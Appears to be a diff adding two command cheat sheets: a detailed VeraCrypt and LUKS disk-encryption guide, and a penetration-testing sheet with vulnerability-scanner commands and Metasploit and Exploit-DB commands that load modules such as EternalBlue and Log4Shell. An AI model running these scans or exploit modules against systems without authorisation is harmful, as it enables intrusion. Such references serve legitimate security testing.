+# - Strong encryption: AES-256, Serpent, Twofish (or cascades)
+
+# Use cases
+# - Encrypt entire drive (system or non-system)
+# - Create encrypted containers (virtual encrypted disks)
+# - Hidden volumes (plausible deniability)
+# - Encrypted USB drives
+
+# ============================================================================
+# INSTALLATION
+# ============================================================================
+
+# Install VeraCrypt (Linux)
+# Download from official website
+wget https://launchpad.net/veracrypt/trunk/1.25.9/+download/veracrypt-1.25.9-setup.tar.bz2
+
+# Extract and install
+tar -xvjf veracrypt-1.25.9-setup.tar.bz2
+./veracrypt-1.25.9-setup-gui-x64
+
+# Or install from repo (Ubuntu/Debian)
+sudo add-apt-repository ppa:unit193/encryption
+sudo apt update && sudo apt install veracrypt
+
+# Install VeraCrypt (macOS)
+# Download DMG from: https://www.veracrypt.fr/en/Downloads.html
+# Mount DMG, run installer
+
+# Install VeraCrypt (Windows)
+# Download EXE from: https://www.veracrypt.fr/en/Downloads.html
+# Run installer
+
+# ============================================================================
+# CREATE ENCRYPTED CONTAINER (FILE)
+# ============================================================================
+
+# Encrypted container = encrypted file that acts as virtual disk
+
+# Create container (GUI)
+# 1. VeraCrypt → Create Volume
+# 2. Select: "Create an encrypted file container"
+# 3. Volume Type: "Standard VeraCrypt volume" (or "Hidden" for plausible deniability)
+# 4. Volume Location: Choose file path (e.g., /home/user/encrypted.vc)
+# 5. Encryption: AES (or cascade for extra security)
+# 6. Volume Size: Enter size (MB, GB)
+# 7. Password: Strong passphrase (20+ characters)
+# 8. Filesystem: Linux Ext4 / Windows NTFS / macOS HFS+
+# 9. Format: Move mouse randomly (generates entropy)
+
+# Create container (CLI)
+veracrypt -t -c \
+  --volume-type=normal \
+  --size=1G \
+  --encryption=AES \
+  --hash=SHA-512 \
+  --filesystem=ext4 \
+  --pim=0 \
+  --keyfiles="" \
+  --random-source=/dev/urandom \
+  /path/to/container.vc
+
+# Enter password when prompted
+
+# ============================================================================
+# MOUNT ENCRYPTED CONTAINER
+# ============================================================================
+
+# Mount container (GUI)
+# 1. VeraCrypt → Select file (container.vc)
+# 2. Volumes → Mount Volume
+# 3. Enter password
+# 4. Access mounted volume (e.g., /media/veracrypt1)
+
+# Mount container (CLI)
+veracrypt /path/to/container.vc /mount/point
+
+# Mount with specific options
+veracrypt -t --mount /path/to/container.vc /mount/point --pim=0 --keyfiles="" --protect-hidden=no
+
+# Auto-mount on startup (add to /etc/fstab)
+# /path/to/container.vc /mount/point veracrypt defaults 0 0
+
+# ============================================================================
+# UNMOUNT (DISMOUNT) CONTAINER
+# ============================================================================
+
+# Unmount container (GUI)
+# 1. VeraCrypt → Select mounted volume
+# 2. Volumes → Dismount
+
+# Unmount container (CLI)
+veracrypt -d /path/to/container.vc
+
+# Unmount all volumes
+veracrypt -d
+
+# Force unmount (if busy)
+sudo veracrypt -d --force /mount/point
+
+# ============================================================================
+# FULL DISK ENCRYPTION (NON-SYSTEM)
+# ============================================================================
+
+# Encrypt non-system partition or drive
+# Example: Encrypt external USB drive
+
+# Create encrypted partition (GUI)
+# 1. VeraCrypt → Create Volume
+# 2. Select: "Encrypt a non-system partition/drive"
+# 3. Volume Type: Standard (or Hidden)
+# 4. Device: Select partition (e.g., /dev/sdb1)
+# 5. Volume Creation Mode: Create encrypted volume and format it
+# 6. Encryption: AES
+# 7. Password: Strong passphrase
+# 8. Format: Ext4 / NTFS / FAT
+
+# WARNING: This destroys all data on partition!
+
+# Mount encrypted partition
+veracrypt /dev/sdb1 /media/usb
+
+# ============================================================================
+# SYSTEM ENCRYPTION (FULL DISK ENCRYPTION)
+# ============================================================================
+
+# WARNING: System encryption only supported on Windows
+# Linux users: Use LUKS instead (see below)
+
+# Windows system encryption
+# 1. VeraCrypt → System → Encrypt System Partition/Drive
+# 2. Type: Normal (or Hidden OS)
+# 3. Area: Encrypt entire drive (recommended)
+# 4. Boot Options: Single-boot or Multi-boot
+# 5. Encryption: AES
+# 6. Password: Strong passphrase
+# 7. Create rescue disk (IMPORTANT!)
+# 8. Wipe mode: 1-pass (or 7-pass for paranoia)
+# 9. Pre-test: System encryption test (reboot required)
+# 10. Encrypt: Full encryption begins
+
+# VeraCrypt boot password
+# Enter password before Windows boots
+# Pre-boot authentication
+
+# ============================================================================
+# LUKS (LINUX ALTERNATIVE TO VERACRYPT SYSTEM ENCRYPTION)
+# ============================================================================
+
+# LUKS = Linux Unified Key Setup
+# Native Linux disk encryption (more integrated than VeraCrypt)
+
+# Encrypt new drive with LUKS
+sudo cryptsetup luksFormat /dev/sdX
+
+# Open LUKS encrypted drive
+sudo cryptsetup luksOpen /dev/sdX encrypted_drive
+
+# Mount LUKS drive
+sudo mount /dev/mapper/encrypted_drive /mnt
+
+# Unmount LUKS drive
+sudo umount /mnt
+sudo cryptsetup luksClose encrypted_drive
+
+# Check LUKS header
+sudo cryptsetup luksDump /dev/sdX
+
+# ============================================================================
+# HIDDEN VOLUMES (PLAUSIBLE DENIABILITY)
+# ============================================================================
+
+# Hidden volume concept
+# - Outer volume: Contains decoy data
+# - Hidden volume: Contains real secrets (hidden inside outer volume)
+# - Two passwords: One for outer, one for hidden
+
+# Under duress
+# - Reveal outer volume password
+# - Adversary sees decoy data
+# - Hidden volume remains secret
+
+# Create hidden volume (GUI)
+# 1. VeraCrypt → Create Volume
+# 2. Select: "Create an encrypted file container"
+# 3. Volume Type: "Hidden VeraCrypt volume"
+# 4. Outer Volume: Create first (follow prompts)
+# 5. Hidden Volume: Created inside outer volume
+# 6. Two separate passwords (outer vs hidden)
+
+# Important: Protect hidden volume from overwriting
+# When mounting outer volume, use "Protect hidden volume" option
+# Prevents accidental data corruption of hidden volume
+
+# Mount outer volume
+veracrypt --mount /path/to/container.vc /mount/point
+# Enter outer password
+
+# Mount hidden volume
+veracrypt --mount /path/to/container.vc /mount/point
+# Enter hidden password
+
+# ============================================================================
+# HIDDEN OPERATING SYSTEM (WINDOWS ONLY)
+# ============================================================================
+
+# Hidden OS concept
+# - Decoy OS: Fake Windows with innocuous data
+# - Hidden OS: Real Windows with secrets
+# - Boot with different password to access different OS
+
+# Create hidden OS
+# 1. VeraCrypt → System → Create Hidden Operating System
+# 2. Follow wizard (creates decoy OS, then hidden OS)
+# 3. WARNING: Very complex, backup first!
+
+# Boot to hidden OS
+# Enter hidden OS password at pre-boot authentication
+
+# Boot to decoy OS
+# Enter decoy OS password at pre-boot authentication
+
+# ============================================================================
+# KEYFILES
+# ============================================================================
+
+# Keyfile = file used as part of encryption key
+# Combines password + keyfile for authentication
+
+# Use keyfile
+# 1. VeraCrypt → Settings → Keyfiles → Add Keyfiles
+# 2. Select file(s) to use as keyfiles
+# 3. When mounting, select keyfiles along with password
+
+# Benefits
+# - Two-factor authentication (password + file)
+# - Stronger security (even if password compromised)
+
+# Generate keyfile
+veracrypt --create-keyfile /path/to/keyfile.key
+
+# Mount with keyfile
+veracrypt --keyfiles=/path/to/keyfile.key /path/to/container.vc /mount/point
+
+# ============================================================================
+# PIM (PERSONAL ITERATIONS MULTIPLIER)
+# ============================================================================
+
+# PIM increases key derivation iterations
+# Higher PIM = more secure, but slower to mount
+
+# Default PIM: 0 (uses default iterations)
+# Custom PIM: 1-2147468 (higher = more iterations)
+
+# When to use PIM
+# - Weak password (increase PIM to compensate)
+# - Extra security (even with strong password)
+
+# Set PIM when creating volume
+# During volume creation, specify PIM value
+
+# Mount with PIM
+veracrypt --pim=500 /path/to/container.vc /mount/point
+
+# ============================================================================
+# ENCRYPTION ALGORITHMS
+# ============================================================================
+
+# Supported algorithms
+# - AES (256-bit) - Industry standard, fast
+# - Serpent (256-bit) - Highly secure, slower
+# - Twofish (256-bit) - Secure, good performance
+
+# Cascades (multiple algorithms)
+# - AES-Twofish
+# - AES-Twofish-Serpent
+# - Serpent-AES
+# - Serpent-Twofish-AES
+# - Twofish-Serpent
+
+# Recommendation
+# AES alone is sufficient for most use cases
+# Cascades for paranoid security (overkill for most)
+
+# Hash algorithms
+# - SHA-512 (recommended)
+# - SHA-256
+# - Whirlpool
+# - Streebog
+
+# ============================================================================
+# TRAVELER DISK SETUP (PORTABLE)
+# ============================================================================
+
+# Traveler disk = Portable VeraCrypt on USB
+
+# Create traveler disk
+# 1. VeraCrypt → Tools → Traveler Disk Setup
+# 2. Select USB drive
+# 3. Include VeraCrypt executable
+# 4. Creates autorun for Windows
+
+# Use traveler disk
+# 1. Plug in USB
+# 2. Run VeraCrypt from USB
+# 3. Mount encrypted container on USB
+
+# ============================================================================
+# BACKUP & RECOVERY
+# ============================================================================
+
+# Backup VeraCrypt header
+# Header contains encryption metadata (critical for recovery)
+
+# Backup header (GUI)
+# VeraCrypt → Tools → Backup Volume Header
+
+# Restore header (if corrupted)
+# VeraCrypt → Tools → Restore Volume Header
+
+# Backup encrypted containers
+# Copy .vc files to backup location
+# Ensure backup is also encrypted (or secure location)
+
+# Rescue disk (system encryption)
+# Created during system encryption setup
+# Burn to CD/DVD or save ISO
+# Use if system encrypted drive becomes unbootable
+
+# ============================================================================
+# SECURITY BEST PRACTICES
+# ============================================================================
+
+# Strong passwords
+# - 20+ characters
+# - Mix: uppercase, lowercase, numbers, symbols
+# - Use passphrase (5-7 random words)
+# - Don't reuse passwords
+
+# Generate strong password
+pwgen -s 32 1
+
+# Keyfile storage
+# - Store keyfile separately from encrypted volume
+# - USB drive, different computer, encrypted cloud
+
+# Never store password in plain text
+# - Use password manager (KeePassXC, Bitwarden)
+# - Memorize critical passwords
+
+# Plausible deniability
+# - Use hidden volumes for sensitive data
+# - Outer volume must have realistic decoy data
+# - Practice accessing both volumes
+
+# Regular backups
+# - Backup encrypted containers regularly
+# - Test restoration process
+# - Store backups securely (encrypted, offsite)
+
+# ============================================================================
+# PERFORMANCE OPTIMIZATION
+# ============================================================================
+
+# Hardware acceleration
+# Modern CPUs support AES-NI (hardware AES encryption)
+# VeraCrypt automatically uses AES-NI if available
+
+# Check AES-NI support (Linux)
+grep aes /proc/cpuinfo
+
+# Benchmark encryption algorithms
+# VeraCrypt → Tools → Benchmark
+
+# Filesystem choice
+# - Ext4 (Linux) - Good performance
+# - NTFS (Windows) - Compatible, good performance
+# - exFAT (cross-platform) - Slower, but compatible
+
+# Pre-allocate container (faster creation)
+# During container creation, select "Quick format"
+# Or: Pre-allocate full size (more secure)
+
+# ============================================================================
+# COMMON ISSUES & TROUBLESHOOTING
+# ============================================================================
+
+# "Device already in use" error
+# Volume is already mounted
+veracrypt -d  # Dismount all volumes
+
+# "Wrong password" error
+# - Check Caps Lock
+# - Try different keyboard layout
+# - Verify PIM (if used)
+# - Restore header backup (if corrupted)
+
+# Slow mounting
+# - High PIM value (reduce if acceptable)
+# - Weak CPU (hardware limitation)
+
+# Can't mount on macOS
+# Install osxfuse: brew install --cask osxfuse
+# Reboot after installation
+
+# Volume corrupted
+# - Restore header from backup
+# - Use VeraCrypt repair tools
+# - If no backup, data likely unrecoverable
+
+# ============================================================================
+# VERACRYPT VS ALTERNATIVES
+# ============================================================================
+
+# VeraCrypt vs LUKS
+# VeraCrypt: Cross-platform, hidden volumes, GUI
+# LUKS: Linux native, better integration, faster
+
+# VeraCrypt vs BitLocker (Windows)
+# VeraCrypt: Open source, more secure, cross-platform
+# BitLocker: Native Windows, TPM support, easier
+
+# VeraCrypt vs FileVault (macOS)
+# VeraCrypt: Open source, hidden volumes, portable
+# FileVault: Native macOS, integrated, easier
+
+# VeraCrypt vs TrueCrypt
+# VeraCrypt: Actively maintained, security improvements
+# TrueCrypt: Discontinued, not recommended
+
+# ============================================================================
+# COMMAND LINE CHEAT SHEET
+# ============================================================================
+
+# Create volume
+veracrypt -t -c --size=1G --encryption=AES --filesystem=ext4 /path/to/container.vc
+
+# Mount volume
+veracrypt /path/to/container.vc /mount/point
+
+# Mount with keyfile
+veracrypt --keyfiles=/path/to/keyfile.key /path/to/container.vc /mount/point
+
+# Mount with PIM
+veracrypt --pim=500 /path/to/container.vc /mount/point
+
+# Unmount volume
+veracrypt -d /path/to/container.vc
+
+# Unmount all volumes
+veracrypt -d
+
+# List mounted volumes
+veracrypt -l
+
+# Change volume password
+veracrypt --change /path/to/container.vc
+
+# Backup header
+veracrypt --backup-header /path/to/container.vc
+
+# Restore header
+veracrypt --restore-header /path/to/container.vc
+
+# ============================================================================
+# AUTOMATION & SCRIPTS
+# ============================================================================
+
+# Auto-mount on login (systemd service)
+sudo nano /etc/systemd/system/veracrypt-mount.service
+
+# [Unit]
+# Description=Mount VeraCrypt volume
+# After=network.target
+#
+# [Service]
+# Type=oneshot
+# ExecStart=/usr/bin/veracrypt --text --mount /path/to/container.vc /mount/point --password="PASSWORD" --pim=0 --keyfiles="" --protect-hidden=no
+# ExecStop=/usr/bin/veracrypt -d /path/to/container.vc
+# RemainAfterExit=yes
+#
+# [Install]
+# WantedBy=multi-user.target
+
+sudo systemctl enable veracrypt-mount.service
+sudo systemctl start veracrypt-mount.service
+
+# WARNING: Storing password in script is insecure!
+
+# Better: Use keyfile + password prompt
+# Or: Use GNOME Keyring / macOS Keychain
+
+# ============================================================================
+# LEGAL CONSIDERATIONS
+# ============================================================================
+
+# Encryption legality
+# - Legal in most countries (USA, EU, Canada, etc.)
+# - Banned/restricted in some countries (check local laws)
+
+# Forced disclosure
+# - Some jurisdictions can compel password disclosure
+# - Plausible deniability (hidden volumes) may help
+
+# Know your rights
+# - Right to remain silent (varies by country)
+# - Right to refuse password disclosure (varies)
+# - Consult lawyer if uncertain
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Official VeraCrypt
+# Website: https://www.veracrypt.fr/
+# Documentation: https://www.veracrypt.fr/en/Documentation.html
+# Downloads: https://www.veracrypt.fr/en/Downloads.html
+
+# Security audit
+# OSTIF VeraCrypt audit: https://ostif.org/the-veracrypt-audit-results/
+
+# Community
+# VeraCrypt forums: https://sourceforge.net/p/veracrypt/discussion/
+# r/VeraCrypt (Reddit)
+
+# Alternatives
+# LUKS: https://gitlab.com/cryptsetup/cryptsetup
+# BitLocker: https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/
+# FileVault: https://support.apple.com/en-us/HT204837
+

vuln-scanning.cheat

@@ -0,0 +1,67 @@
+% vulnerability-scanning, pentesting
+
+# Nessus scan via CLI
+/opt/nessus/bin/nessuscli scan <target>
+$ target: echo -e "192.168.1.0/24\n10.0.0.1\ntarget.com"
+
+# Nessus scan list
+/opt/nessus/bin/nessuscli scan --list
+
+# Nexpose scan via CLI
+/opt/rapid7/nexpose/nsc/nsc.sh -s <site_id> -t <target>
+$ site_id: echo -e "1\n2\n3"
+$ target: echo -e "192.168.1.0/24\n10.0.0.1"
+
+# Nuclei vulnerability scan
+nuclei -u <url> -t <template_path>
+$ url: echo -e "https://target.com\nhttp://192.168.1.1"
+$ template_path: echo -e "~/nuclei-templates/cves/\n~/nuclei-templates/exposures/"
+
+# Nuclei scan with all templates
+nuclei -u <url> -t ~/nuclei-templates/ -severity critical,high,medium
+
+# Nuclei scan targets from file
+nuclei -l <targets_file> -t ~/nuclei-templates/cves/
+$ targets_file: echo -e "targets.txt\nurls.txt\ndomains.txt"
+
+# Update Nuclei templates
+nuclei -update-templates
+
+# OpenVAS scan via CLI (requires setup)
+gvm-cli --gmp-username <username> --gmp-password <password> socket --xml "<create_task><name>scan</name><target><hosts><host><name><target></name></host></hosts></target></create_task>"
+$ username: echo "admin"
+$ password: echo "password"
+$ target: echo -e "192.168.1.0/24\n10.0.0.1"
+
+# Scan with Nessus policy
+/opt/nessus/bin/nessuscli scan --policy <policy_name> <target>
+$ policy_name: echo -e "Basic Network Scan\nWeb Application Tests"
+$ target: echo -e "192.168.1.0/24\ntarget.com"
+
+% metasploit, exploitation
+
+# Start Metasploit console
+msfconsole
+
+# Search exploits in Metasploit
+msfconsole -q -x "search <keyword>; exit"
+$ keyword: echo -e "apache\nmicrosoft\nlog4j\nproxyshell"
+
+# Use specific exploit module
+msfconsole -q -x "use <exploit_path>; show options; exit"
+$ exploit_path: echo -e "exploit/windows/smb/ms17_010_eternalblue\nexploit/multi/http/log4shell"
+
+# Search Exploit-DB
+searchsploit <keyword>
+$ keyword: echo -e "apache 2.4\nwindows 10\njoomla 3.9"
+
+# Download exploit from Exploit-DB
+searchsploit -m <exploit_id>
+$ exploit_id: echo -e "50383\n49821\n48506"
+
+# Search GitHub for exploits
+gh search repos <keyword> --topic exploit
+$ keyword: echo -e "cve-2021-44228\nproxyshell\nlog4j"
+
+# MetasploitAI (AI-assisted exploitation)
+# Visit: https://metasploitai.com